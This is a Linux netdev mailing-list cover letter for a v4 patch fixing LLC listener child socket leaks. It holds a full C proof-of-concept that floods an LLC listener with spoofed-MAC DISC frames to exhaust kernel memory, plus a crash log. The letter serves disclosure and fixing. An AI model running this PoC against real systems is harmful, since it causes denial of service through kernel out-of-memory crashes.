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* [PATCH net v4 0/1] llc: fix listener child socket leaks before passive open completes
@ 2026-08-14 18:58 Zihan Xi
  2026-08-14 18:58 ` [PATCH net v4 1/1] " Zihan Xi
  0 siblings, 1 reply; 3+ messages in thread
From: Zihan Xi @ 2026-08-14 18:58 UTC (permalink / raw)
  To: netdev
  Cc: davem, edumazet, pabeni, horms, kees, leitao, tim.bird,
	shuangpeng.kernel, ernestas.k, luoxuanqiang, vega, zihanx

Hi Linux kernel maintainers,

We found and validated a issue in net/llc/llc_conn.c. The reproducer needs
CAP_NET_RAW and CAP_NET_ADMIN in init_net.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

llc_conn_handler() creates a passive-open child for every frame matched by an
LLC listener. The child is immediately inserted in the SAP tables and takes a
device reference, before the LLC state machine proves that the frame is a real
passive open and before LLC_CONN_PRIM makes it available to accept().

A non-SABME frame never reaches that indication. The old path therefore leaves
a published child behind which accept() cannot return. The same lifecycle gap
also remains for SABME traffic when direct processing, backlog enqueue, or
backlog processing exits before LLC_CONN_PRIM, and when a listener is closed
with queued but unaccepted children.

The fix creates children only for SABME commands. DISC and other commands that
need an ADM-state DM reply are answered directly from the listener using the
packet source address, while other non-SABME traffic is dropped without driving
the listener state machine.

For SABME, the child remains in the SAP tables during passive open so tuple
lookup continues to win over the listener. The patch tracks children through
pending and queued states, routes packets for a pending child through the
listener-side handshake, and removes any child that has not been accepted when
a failure, backlog drop, or listener close occurs. Final child destruction is
deferred to process context so its timers can be synchronized safely.

The root-cause fact fixed here predates d389424e00f9. Its parent already
creates a listener-side child, publishes it to the SAP tables before
LLC_CONN_PRIM, and has no rollback path if processing exits early. In the local
visible history, the earliest commit where that root-cause fact is already
present is 1da177e4c3f4 ("Linux-2.6.12-rc2"), so Fixes points there.

The reproducer writes panic_on_oom only to turn the final memory exhaustion into
stable crash evidence after the leak is already confirmed. It is not a
prerequisite for the underlying bug or for the required-capability
trigger path itself.

packetdrill was not used here because the trigger depends on combining a PF_LLC
listening socket with raw AF_PACKET injection over a veth pair while rotating
the source MAC address to force distinct passive-open children. The PoC is
centered on that listener-plus-raw-packet resource leak path rather than on a
packetdrill-friendly timing script.

Reproducer:

    gcc -O2 -static -o poc poc.c
    ./poc llc_rx0 llc_tx0 110000

For the validated run we used the privileged init_net setup below so the PoC
could create llc_rx0/llc_tx0 and then send the crafted LLC traffic:

    ip link add llc_rx0 type veth peer name llc_tx0
    ip link set llc_rx0 address 02:11:22:33:44:55
    ip link set llc_tx0 address 02:11:22:33:44:66
    ip link set llc_rx0 up
    ip link set llc_tx0 up
    ./poc llc_rx0 llc_tx0 110000

For deterministic crash evidence only, after confirming the leak with that
required-capability trigger path, we additionally set:

    echo 2 > /proc/sys/vm/panic_on_oom

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/if.h>
#include <linux/llc.h>
#include <net/ethernet.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#ifndef AF_LLC
#define AF_LLC 26
#endif

#define DEFAULT_RX_IF "llc_rx0"
#define DEFAULT_TX_IF "llc_tx0"
#define DEFAULT_SAP 0xc0
#define DEFAULT_REPORT_EVERY 10000ULL

static void die_errno(const char *what)
{
	perror(what);
	exit(EXIT_FAILURE);
}

static void usage(const char *prog)
{
	fprintf(stderr,
		"usage: %s [rx_if] [tx_if] [count]\n"
		"  rx_if: LLC listener interface (default: %s)\n"
		"  tx_if: raw packet sender interface (default: %s)\n"
		"  count: number of DISC frames to send, 0 means forever\n",
		prog, DEFAULT_RX_IF, DEFAULT_TX_IF);
}

static void get_if_hwaddr(const char *ifname, unsigned char mac[ETH_ALEN])
{
	struct ifreq ifr;
	int fd;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die_errno("socket(AF_INET)");

	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
		die_errno("ioctl(SIOCGIFHWADDR)");

	memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
	close(fd);
}

static int get_ifindex(const char *ifname)
{
	struct ifreq ifr;
	int fd;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die_errno("socket(AF_INET)");

	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
		die_errno("ioctl(SIOCGIFINDEX)");

	close(fd);
	return ifr.ifr_ifindex;
}

static int make_listener(const char *ifname, uint8_t sap, unsigned char mac[ETH_ALEN])
{
	struct sockaddr_llc addr;
	int fd;

	fd = socket(AF_LLC, SOCK_STREAM, 0);
	if (fd < 0)
		die_errno("socket(AF_LLC)");

	get_if_hwaddr(ifname, mac);

	memset(&addr, 0, sizeof(addr));
	addr.sllc_family = AF_LLC;
	addr.sllc_arphrd = ARPHRD_ETHER;
	addr.sllc_sap = sap;
	memcpy(addr.sllc_mac, mac, ETH_ALEN);

	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die_errno("bind(AF_LLC)");
	if (listen(fd, 16) < 0)
		die_errno("listen(AF_LLC)");

	return fd;
}

static int make_packet_socket(const char *ifname, int *ifindex_out)
{
	struct sockaddr_ll sll;
	int fd;
	int one = 1;
	int ifindex = get_ifindex(ifname);

	fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if (fd < 0)
		die_errno("socket(AF_PACKET)");

	setsockopt(fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one));

	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_protocol = htons(ETH_P_ALL);
	sll.sll_ifindex = ifindex;

	if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) < 0)
		die_errno("bind(AF_PACKET)");

	*ifindex_out = ifindex;
	return fd;
}

static void fill_src_mac(unsigned char mac[ETH_ALEN], uint64_t n)
{
	mac[0] = 0x02;
	mac[1] = (n >> 32) & 0xff;
	mac[2] = (n >> 24) & 0xff;
	mac[3] = (n >> 16) & 0xff;
	mac[4] = (n >> 8) & 0xff;
	mac[5] = n & 0xff;
}

int main(int argc, char **argv)
{
	static unsigned char frame[ETH_ZLEN];
	unsigned char dst_mac[ETH_ALEN];
	unsigned char src_mac[ETH_ALEN];
	struct sockaddr_ll sll;
	const char *rx_if = DEFAULT_RX_IF;
	const char *tx_if = DEFAULT_TX_IF;
	uint64_t count = 0;
	uint64_t i = 1;
	int listener_fd;
	int packet_fd;
	int ifindex;

	if (argc > 1 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
		usage(argv[0]);
		return 0;
	}
	if (argc > 1)
		rx_if = argv[1];
	if (argc > 2)
		tx_if = argv[2];
	if (argc > 3) {
		char *end = NULL;

		errno = 0;
		count = strtoull(argv[3], &end, 0);
		if (errno || !end || *end != '\0') {
			fprintf(stderr, "invalid count: %s\n", argv[3]);
			return EXIT_FAILURE;
		}
	}
	if (argc > 4) {
		usage(argv[0]);
		return EXIT_FAILURE;
	}

	listener_fd = make_listener(rx_if, DEFAULT_SAP, dst_mac);
	packet_fd = make_packet_socket(tx_if, &ifindex);

	memset(frame, 0, sizeof(frame));
	memcpy(frame, dst_mac, ETH_ALEN);
	((struct ethhdr *)frame)->h_proto = htons(3);
	frame[ETH_HLEN + 0] = DEFAULT_SAP;
	frame[ETH_HLEN + 1] = 0x04;
	frame[ETH_HLEN + 2] = 0x43; /* DISC command, P/F=0 */

	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_ifindex = ifindex;
	sll.sll_halen = ETH_ALEN;
	memcpy(sll.sll_addr, dst_mac, ETH_ALEN);

	fprintf(stderr,
		"listener_if=%s sender_if=%s sap=0x%02x count=%s\n",
		rx_if, tx_if, DEFAULT_SAP, count ? argv[3] : "0");
	fprintf(stderr,
		"listener_mac=%02x:%02x:%02x:%02x:%02x:%02x\n",
		dst_mac[0], dst_mac[1], dst_mac[2],
		dst_mac[3], dst_mac[4], dst_mac[5]);
	fprintf(stderr,
		"sending LLC DISC commands with a unique spoofed source MAC each time\n");

	while (!count || i <= count) {
		fill_src_mac(src_mac, i);
		if (!memcmp(src_mac, dst_mac, ETH_ALEN))
			src_mac[ETH_ALEN - 1] ^= 1;
		memcpy(frame + ETH_ALEN, src_mac, ETH_ALEN);

		if (sendto(packet_fd, frame, sizeof(frame), 0,
			   (struct sockaddr *)&sll, sizeof(sll)) < 0)
			die_errno("sendto(AF_PACKET)");

		if (!(i % DEFAULT_REPORT_EVERY))
			fprintf(stderr, "sent=%llu\n",
				(unsigned long long)i);
		i++;
	}

	close(packet_fd);
	close(listener_fd);
	return 0;
}
------END poc.c--------

----BEGIN crash log----
[ 1665.704541][T10284] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled

[ 1665.705358][T10284] CPU: 0 UID: 0 PID: 10284 Comm: poc Not tainted 6.12.74 #3

[ 1665.705911][T10284] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014

[ 1665.706676][T10284] Call Trace:

[ 1665.706943][T10284]  <TASK>

[1665.707181][T10284] dump_stack_lvl (lib/dump_stack.c:105 (discriminator 2))

[1665.707568][T10284] panic (kernel/panic.c:339 (discriminator 1))

[1665.707918][T10284] ? dump_header (include/linux/rcupdate.h:815 (discriminator 1) mm/oom_kill.c:455 (discriminator 1) mm/oom_kill.c:478 (discriminator 1))

[1665.708305][T10284] ? __pfx_panic (kernel/panic.c:277)
-----END crash log-----

changes in v4:
  - Create a passive-open child only for SABME and generate listener-side DM
    replies directly for non-SABME commands.
  - Use an atomic incoming-child lifecycle and serialize pending-child lookup,
    backlog processing, rollback, and listener close with the child lock.
  - Keep immediate SAP publication for passive-open tuple matching, but release
    unaccepted children on direct and backlog failures and on listener close.
  - Defer final incoming-child cleanup to workqueue context so timer
    synchronization does not run in the receive softirq path.
  - Add an LLC state lower-bound check before state-table dispatch.
  - v3 Link: https://lore.kernel.org/all/20260805175945.10698-1-zihanx@nebusec.ai/
changes in v3:
  - Create a child only for SABME and send listener-side DM responses directly
    to the peer for non-SABME commands.
  - Replace the unlocked pending flag with an atomic incoming-child lifecycle
    and serialize lookup, rollback, and backlog processing with the child lock.
  - Keep the immediate SAP publication needed for passive-open tuple matching,
    while rolling back unaccepted children on direct and backlog failures and
    on listener close.
  - Defer final child cleanup to workqueue context so timer synchronization does
    not occur from the receive softirq path.
  - Guard LLC state-table dispatch against LLC_CONN_OUT_OF_SVC and regenerate
    from net commit 2bb155e92167cd5ad6aae312e83291da2454f8b0.
  - v2 Link: https://lore.kernel.org/all/cover.1785386749.git.zihanx@nebusec.ai/
changes in v2:
  - Rework the fix to preserve the existing passive-open tuple matching
    semantics instead of deferring child publication until LLC_CONN_PRIM.
  - Track listener-created children which are still pending publication
    to accept(), and roll them back on every earlier failure or drop
    path.
  - Cover both the original non-SABME leak and SABME paths which fail
    before LLC_CONN_PRIM, including backlog enqueue and backlog drop
    failures.
  - Correct Fixes to 1da177e4c3f4 ("Linux-2.6.12-rc2") based on the
    earliest locally visible history carrying the same root-cause fact.
  - Clarify in Bug details that panic_on_oom is only crash-evidence
    setup and explain why packetdrill was not used for this reproducer.
  - v1 Link: https://lore.kernel.org/all/cover.1784725007.git.zihanx@nebusec.ai/

Best regards,
Zihan Xi

Zihan Xi (1):
  llc: fix listener child socket leaks before passive open completes

 include/net/llc_conn.h |  13 ++-
 net/llc/af_llc.c       |  11 +-
 net/llc/llc_conn.c     | 243 ++++++++++++++++++++++++++++++++++++++---
 3 files changed, 250 insertions(+), 17 deletions(-)

-- 
2.43.0


^ permalink raw reply	[flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-08-20 20:32 UTC | newest]

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2026-08-14 18:58 [PATCH net v4 0/1] llc: fix listener child socket leaks before passive open completes Zihan Xi
2026-08-14 18:58 ` [PATCH net v4 1/1] " Zihan Xi
2026-08-20 20:32   ` Jakub Kicinski

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